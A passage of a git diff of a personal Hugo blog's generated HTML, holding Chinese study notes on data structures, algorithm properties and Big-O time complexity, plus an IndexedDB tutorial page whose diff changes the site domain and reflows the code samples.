O(f(n))，表示随问题规模n的增大，算法执行时间的增长率和f(n)的增长率相同，称为时间复杂度，f(n)是问题规模n的某个函数。\n像上面的，用大写O（）来体现算法时间复杂度的记法，我们称之为大O记法。\n随着输入规模n的增大，T(n)增长最慢的算法为最优算法\n简称为执行次数等于时间\n分析一个算法的时间复杂度（推导大O阶方法）：\n用常数1取代运行时间中的所有加法常数\n在修改后的运行次数函数中，只保留最高阶项\n如果最高阶项存在且不是1，则去除于这个项相乘的常数","keywords":["算法"],"articleBody":"根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记\n什么是数据结构？\n数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。\n程序设计 = 数据结构 + 算法\n数据元素相互之间存在的一种或多种特定关系的集合\n数据结构分为逻辑结构和物理结构\n逻辑结构：指的是数据对象中数据元素之间的相互关系\n物理结构：指的是数据的逻辑结构在计算机中的存储形式\n四大逻辑结构：\n集合结构： 集合结构中的数据元素是同属性一个集合的\n线性结构：线性结构中的数据元素之间是一对一的关系\n树型结构：树性结构中数据元素之间存在一种一对多的层次关系\n图形结构：图形结构的数据元素是多对多的关系\n物理结构：实质是研究如何将数据元素存储到计算机的存储器中\n存储器主要是针对于内存，外部存储器（例如：硬盘）的数据组织一般用文件结构来表示\n数据元素的存储结构形式有两种，顺序存储和链式存储\n顺序存储结构：指的是数据元素存放在地址连续的存储单元里，其数据之间的逻辑关系和物理关系是一样的，例如编程语言中的数组\n链式存储结构：经常变化的结构，指的是将数据元素存放在任意的存储单元里，而这组存储单元是可以连续的，也可以是不连续的，数据元素存储关系不能反应其逻辑关系，通过分配一个指针指向一个内存，而这个内存用来存放数据元素的地址，通过内存来寻找相对应的数据元素地址\n算法：算法是解决特定问题求解步骤的描述，在计算机中表现为指令的有限序列，并且每条指令一个或多个的操作，就是一个解决问题的技巧或者方式\n一个问题可以用多个算法解决，但是一个算法不能解决所有问题的能力\n算法五个基本特征：输入，输出，有穷性，确定性和可行性\n输入：算法具有零个或者多个输入\n输出：算法至少有一个或者多个输出\n有穷性：指的是算法在执行有限的步骤之后，自动结束，而不是无限循环，要求每一个步骤在一段时间内完成，而不是永远不会停止的\n确定性：算法的每一个步骤都具有确定的含义，不会出现二义性（二义性指的是一个东西在一个环境下出来两种或者两种以上的含义）\n可行性：算法的每一个步骤必须是可行的，，每一个步骤都可以通过执行有限次数完成\n算法设计的要求：\n正确性：算法必须要具备输入，输出，无歧义，能正确反应问题的要求，能够得到问题的正确答案\n算法没有语法错误，能对合法的输入返回满足要求的输出，对于非法输入能返回满足要求的说明，对于输入的内容要满足其满足要求的输出结果\n可读性：算法的另一目的是方便阅读，理解或者交流其算法的实现原理\n健壮性：当输入数据不合法时，算法也能做出对应的处理，而不是产生异常，崩溃之类的\n时间效率高和存储量低\n算法效率的度量方法\n算法的效率一般指的是算法的执行时间\n事后统计方法：这种方法主要是通过设计好的程序和数据，利用计算机计时器对不同算法的运行时间进行比较，从而达到确定算法效率的高低\n缺点：需要根据算法事先编写好测试程序，需要耗费大量时间和精力，不同的测试环境下的效率差异大\n事前分析估算方法：在编写程序之前，依据统计方法对算法进行估算\n影响算法效率的原因：\n算法采用的策略或者方案\n代码质量\n问题的输入规模\n机器执行指令的速度\n一个算法程序的运行时间依赖于算法的好坏和问题的输入规模（输入量）\n算法的复杂性实际上就是算法因为输入规模扩大而增长量的一个抽象，只关心其实现的算法\n函数的渐近增长\n最高次项相乘的常数并不重要，可以忽略\n所以一个算法存在一个常数，那么这个常数基本上可以忽略\n最高次项的指数大的，函数会随着n的增长，结果也会变得增长特别快。指数！！！ 判断一个算法的效率时间，应该忽略函数中的常数和其他次要项，而关注最高项（主项）的阶数\n算法的时间复杂度\n算法时间复杂度的定义：\n在进行算法分析时，语句总的执行次数T(n)是关于问题规模n的函数，分析T(n)随n的变化情况并确定T(n)的数量级。算法的时间复杂度，也就是算法的时间量度，T(n) = O(f(n))，表示随问题规模n的增大，算法执行时间的增长率和f(n)的增长率相同，称为时间复杂度，f(n)是问题规模n的某个函数。\n像上面的，用大写O（）来体现算法时间复杂度的记法，我们称之为大O记法。\n随着输入规模n的增大，T(n)增长最慢的算法为最优算法\n简称为执行次数等于时间\n分析一个算法的时间复杂度（推导大O阶方法）：\n用常数1取代运行时间中的所有加法常数\n在修改后的运行次数函数中，只保留最高阶项\n如果最高阶项存在且不是1，则去除于这个项相乘的常数\n得到的就是大O阶\n线性阶\n一般含有非嵌套循环涉及线性阶，线性阶就是随着问题规模n的扩大，对应计算次数呈直线增长\n平方阶\n循环的时间复杂度等于循环体的复杂度乘以该循环运行的次数\n对数阶\n","wordCount":"76","inLanguage":"en","datePublished":"2021-06-29T15:52:00Z","dateModified":"2021-06-29T15:52:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/49/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>数据结构与算法学习笔记</h1><div class=post-meta><span title='2021-06-29 15:52:00 +0000 UTC'>2021-06-29</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e6%95%b0%e6%8d%ae%e7%bb%93%e6%9e%84%e4%b8%8e%e7%ae%97%e6%b3%95%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记</p><p>什么是数据结构？</p><p>数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。</p><p>程序设计 = 数据结构 + 算法</p><p>数据元素相互之间存在的一种或多种特定关系的集合</p><p>数据结构分为逻辑结构和物理结构</p><p>逻辑结构：指的是数据对象中数据元素之间的相互关系</p><p>物理结构：指的是数据的逻辑结构在计算机中的存储形式</p><p>四大逻辑结构：</p><p>集合结构： 集合结构中的数据元素是同属性一个集合的</p><p>线性结构：线性结构中的数据元素之间是一对一的关系</p><p>树型结构：树性结构中数据元素之间存在一种一对多的层次关系</p><p>图形结构：图形结构的数据元素是多对多的关系</p><p>物理结构：实质是研究如何将数据元素存储到计算机的存储器中</p><p>存储器主要是针对于内存，外部存储器（例如：硬盘）的数据组织一般用文件结构来表示</p><p>数据元素的存储结构形式有两种，顺序存储和链式存储</p><p>顺序存储结构：指的是数据元素存放在地址连续的存储单元里，其数据之间的逻辑关系和物理关系是一样的，例如编程语言中的数组</p><p>链式存储结构：经常变化的结构，指的是将数据元素存放在任意的存储单元里，而这组存储单元是可以连续的，也可以是不连续的，数据元素存储关系不能反应其逻辑关系，通过分配一个指针指向一个内存，而这个内存用来存放数据元素的地址，通过内存来寻找相对应的数据元素地址</p><p>算法：算法是解决特定问题求解步骤的描述，在计算机中表现为指令的有限序列，并且每条指令一个或多个的操作，就是一个解决问题的技巧或者方式</p><p>一个问题可以用多个算法解决，但是一个算法不能解决所有问题的能力</p><p>算法五个基本特征：输入，输出，有穷性，确定性和可行性</p><p>输入：算法具有零个或者多个输入</p><p>输出：算法至少有一个或者多个输出</p><p>有穷性：指的是算法在执行有限的步骤之后，自动结束，而不是无限循环，要求每一个步骤在一段时间内完成，而不是永远不会停止的</p><p>确定性：算法的每一个步骤都具有确定的含义，不会出现二义性（二义性指的是一个东西在一个环境下出来两种或者两种以上的含义）</p><p>可行性：算法的每一个步骤必须是可行的，，每一个步骤都可以通过执行有限次数完成</p><p>算法设计的要求：</p><p>正确性：算法必须要具备输入，输出，无歧义，能正确反应问题的要求，能够得到问题的正确答案</p><p>算法没有语法错误，能对合法的输入返回满足要求的输出，对于非法输入能返回满足要求的说明，对于输入的内容要满足其满足要求的输出结果</p><p>可读性：算法的另一目的是方便阅读，理解或者交流其算法的实现原理</p><p>健壮性：当输入数据不合法时，算法也能做出对应的处理，而不是产生异常，崩溃之类的</p><p>时间效率高和存储量低</p><p>算法效率的度量方法</p><p>算法的效率一般指的是算法的执行时间</p><p>事后统计方法：这种方法主要是通过设计好的程序和数据，利用计算机计时器对不同算法的运行时间进行比较，从而达到确定算法效率的高低</p><p>缺点：需要根据算法事先编写好测试程序，需要耗费大量时间和精力，不同的测试环境下的效率差异大</p><p>事前分析估算方法：在编写程序之前，依据统计方法对算法进行估算</p><p>影响算法效率的原因：</p><p>算法采用的策略或者方案</p><p>代码质量</p><p>问题的输入规模</p><p>机器执行指令的速度</p><p>一个算法程序的运行时间依赖于算法的好坏和问题的输入规模（输入量）</p><p>算法的复杂性实际上就是算法因为输入规模扩大而增长量的一个抽象，只关心其实现的算法</p><p>函数的渐近增长</p><p>最高次项相乘的常数并不重要，可以忽略</p><p>所以一个算法存在一个常数，那么这个常数基本上可以忽略</p><p>最高次项的指数大的，函数会随着n的增长，结果也会变得增长特别快。指数！！！
+判断一个算法的效率时间，应该忽略函数中的常数和其他次要项，而关注最高项（主项）的阶数</p><p>算法的时间复杂度</p><p>算法时间复杂度的定义：</p><p>在进行算法分析时，语句总的执行次数T(n)是关于问题规模n的函数，分析T(n)随n的变化情况并确定T(n)的数量级。算法的时间复杂度，也就是算法的时间量度，T(n) = O(f(n))，表示随问题规模n的增大，算法执行时间的增长率和f(n)的增长率相同，称为时间复杂度，f(n)是问题规模n的某个函数。</p><p>像上面的，用大写O（）来体现算法时间复杂度的记法，我们称之为大O记法。</p><p>随着输入规模n的增大，T(n)增长最慢的算法为最优算法</p><p>简称为执行次数等于时间</p><p>分析一个算法的时间复杂度（推导大O阶方法）：</p><p>用常数1取代运行时间中的所有加法常数</p><p>在修改后的运行次数函数中，只保留最高阶项</p><p>如果最高阶项存在且不是1，则去除于这个项相乘的常数</p><p>得到的就是大O阶</p><p>线性阶</p><p>一般含有非嵌套循环涉及线性阶，线性阶就是随着问题规模n的扩大，对应计算次数呈直线增长</p><p>平方阶</p><p>循环的时间复杂度等于循环体的复杂度乘以该循环运行的次数</p><p>对数阶</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/%E7%AE%97%E6%B3%95/>算法</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/50/><span class=title>« Prev</span><br><span>CSS预处理器-Less学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/48/><span class=title>Next »</span><br><span>微信小程序学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/5/index.html b/posts/5/index.html
index 178aaa7e..bb37ed0a 100644
--- a/posts/5/index.html
+++ b/posts/5/index.html
@@ -1,153 +1,153 @@
 <!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>IndexedDB浏览器数据库学习笔记 | 小陈的个人博客</title><meta name=keywords content="JavaScript"><meta name=description content="IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
 打开（新建）indexedDB：
 indexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：
-var datadb = window.indexedDB.open(&#34;data&#34;,1);
datadb.onerror = function(){
console.log(&#34;数据库打开失败&#34;)
}
datadb.onsuccess = function(){
console.log(&#34;数据库打开成功&#34;);
}
datadb.onupgradeneeded = function(event){ console.log(&#34;数据库版本升级&#34;);
}
onerror事件表示打开数据库失败
+var datadb = window.indexedDB.open(&#34;data&#34;,1); datadb.onerror = function(){ console.log(&#34;数据库打开失败&#34;) } datadb.onsuccess = function(){ console.log(&#34;数据库打开成功&#34;); } datadb.onupgradeneeded = function(event){ console.log(&#34;数据库版本升级&#34;); } onerror事件表示打开数据库失败
 onsuccess事件表示打开数据库成功
 onupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）
 新建数据对象（数据表）
-datadb.onupgradeneeded = function(event) {
console.log(&#34;数据库升级&#34;);
var objdb = event.target.result.createObjectStore(&#34;abc&#34;,{keyPath: &#34;id&#34;});
}
表名为abc，主键为id，主键默认为索引
+datadb.onupgradeneeded = function(event) { console.log(&#34;数据库升级&#34;); var objdb = event.target.result.createObjectStore(&#34;abc&#34;,{keyPath: &#34;id&#34;}); } 表名为abc，主键为id，主键默认为索引
 判断是否存在该表
-if(!event.target.result.objectStoreNames.contains('abc')){
var objdb = event.target.result.createObjectStore(&#34;abc&#34;,{keyPath: &#34;id&#34;});
}
递增属性(可以用于作为主键)
-var maindb = event.target.result.createObjectStore(&#34;abc&#34;,{autoIncrement: true});
唯一属性
-objdb.createIndex(&#34;id&#34;,&#34;id&#34;,{unique: false})
createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
+if(!event.target.result.objectStoreNames.contains('abc')){ var objdb = event.target.result.createObjectStore(&#34;abc&#34;,{keyPath: &#34;id&#34;}); } 递增属性(可以用于作为主键)
+var maindb = event.target.result.createObjectStore(&#34;abc&#34;,{autoIncrement: true}); 唯一属性
+objdb.createIndex(&#34;id&#34;,&#34;id&#34;,{unique: false}) createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
 添加数据
-var datadb = window.indexedDB.open(&#34;data&#34;,1);
var db;
var objdb;
datadb.onupgradeneeded = function(event) {
console.log(&#34;数据库升级&#34;);
db = event."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/5/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="IndexedDB浏览器数据库学习笔记"><meta property="og:description" content="IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
+var datadb = window.indexedDB.open(&#34;data&#34;,1); var db; var objdb; datadb.onupgradeneeded = function(event) { console.log(&#34;数据库升级&#34;); db = event."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/5/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="IndexedDB浏览器数据库学习笔记"><meta property="og:description" content="IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
 打开（新建）indexedDB：
 indexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：
-var datadb = window.indexedDB.open(&#34;data&#34;,1);
datadb.onerror = function(){
console.log(&#34;数据库打开失败&#34;)
}
datadb.onsuccess = function(){
console.log(&#34;数据库打开成功&#34;);
}
datadb.onupgradeneeded = function(event){ console.log(&#34;数据库版本升级&#34;);
}
onerror事件表示打开数据库失败
+var datadb = window.indexedDB.open(&#34;data&#34;,1); datadb.onerror = function(){ console.log(&#34;数据库打开失败&#34;) } datadb.onsuccess = function(){ console.log(&#34;数据库打开成功&#34;); } datadb.onupgradeneeded = function(event){ console.log(&#34;数据库版本升级&#34;); } onerror事件表示打开数据库失败
 onsuccess事件表示打开数据库成功
 onupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）
 新建数据对象（数据表）
-datadb.onupgradeneeded = function(event) {
console.log(&#34;数据库升级&#34;);
var objdb = event.target.result.createObjectStore(&#34;abc&#34;,{keyPath: &#34;id&#34;});
}
表名为abc，主键为id，主键默认为索引
+datadb.onupgradeneeded = function(event) { console.log(&#34;数据库升级&#34;); var objdb = event.target.result.createObjectStore(&#34;abc&#34;,{keyPath: &#34;id&#34;}); } 表名为abc，主键为id，主键默认为索引
 判断是否存在该表
-if(!event.target.result.objectStoreNames.contains('abc')){
var objdb = event.target.result.createObjectStore(&#34;abc&#34;,{keyPath: &#34;id&#34;});
}
递增属性(可以用于作为主键)
-var maindb = event.target.result.createObjectStore(&#34;abc&#34;,{autoIncrement: true});
唯一属性
-objdb.createIndex(&#34;id&#34;,&#34;id&#34;,{unique: false})
createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
+if(!event.target.result.objectStoreNames.contains('abc')){ var objdb = event.target.result.createObjectStore(&#34;abc&#34;,{keyPath: &#34;id&#34;}); } 递增属性(可以用于作为主键)
+var maindb = event.target.result.createObjectStore(&#34;abc&#34;,{autoIncrement: true}); 唯一属性
+objdb.createIndex(&#34;id&#34;,&#34;id&#34;,{unique: false}) createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
 添加数据
-var datadb = window.indexedDB.open(&#34;data&#34;,1);
var db;
var objdb;
datadb.onupgradeneeded = function(event) {
console.log(&#34;数据库升级&#34;);
db = event."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/5/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-15T19:00:00+00:00"><meta property="article:modified_time" content="2021-06-15T19:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="IndexedDB浏览器数据库学习笔记"><meta name=twitter:description content="IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
+var datadb = window.indexedDB.open(&#34;data&#34;,1); var db; var objdb; datadb.onupgradeneeded = function(event) { console.log(&#34;数据库升级&#34;); db = event."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/5/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-15T19:00:00+00:00"><meta property="article:modified_time" content="2021-06-15T19:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="IndexedDB浏览器数据库学习笔记"><meta name=twitter:description content="IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
 打开（新建）indexedDB：
 indexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：
-var datadb = window.indexedDB.open(&#34;data&#34;,1);
datadb.onerror = function(){
console.log(&#34;数据库打开失败&#34;)
}
datadb.onsuccess = function(){
console.log(&#34;数据库打开成功&#34;);
}
datadb.onupgradeneeded = function(event){ console.log(&#34;数据库版本升级&#34;);
}
onerror事件表示打开数据库失败
+var datadb = window.indexedDB.open(&#34;data&#34;,1); datadb.onerror = function(){ console.log(&#34;数据库打开失败&#34;) } datadb.onsuccess = function(){ console.log(&#34;数据库打开成功&#34;); } datadb.onupgradeneeded = function(event){ console.log(&#34;数据库版本升级&#34;); } onerror事件表示打开数据库失败
 onsuccess事件表示打开数据库成功
 onupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）
 新建数据对象（数据表）
-datadb.onupgradeneeded = function(event) {
console.log(&#34;数据库升级&#34;);
var objdb = event.target.result.createObjectStore(&#34;abc&#34;,{keyPath: &#34;id&#34;});
}
表名为abc，主键为id，主键默认为索引
+datadb.onupgradeneeded = function(event) { console.log(&#34;数据库升级&#34;); var objdb = event.target.result.createObjectStore(&#34;abc&#34;,{keyPath: &#34;id&#34;}); } 表名为abc，主键为id，主键默认为索引
 判断是否存在该表
-if(!event.target.result.objectStoreNames.contains('abc')){
var objdb = event.target.result.createObjectStore(&#34;abc&#34;,{keyPath: &#34;id&#34;});
}
递增属性(可以用于作为主键)
-var maindb = event.target.result.createObjectStore(&#34;abc&#34;,{autoIncrement: true});
唯一属性
-objdb.createIndex(&#34;id&#34;,&#34;id&#34;,{unique: false})
createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
+if(!event.target.result.objectStoreNames.contains('abc')){ var objdb = event.target.result.createObjectStore(&#34;abc&#34;,{keyPath: &#34;id&#34;}); } 递增属性(可以用于作为主键)
+var maindb = event.target.result.createObjectStore(&#34;abc&#34;,{autoIncrement: true}); 唯一属性
+objdb.createIndex(&#34;id&#34;,&#34;id&#34;,{unique: false}) createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
 添加数据
-var datadb = window.indexedDB.open(&#34;data&#34;,1);
var db;
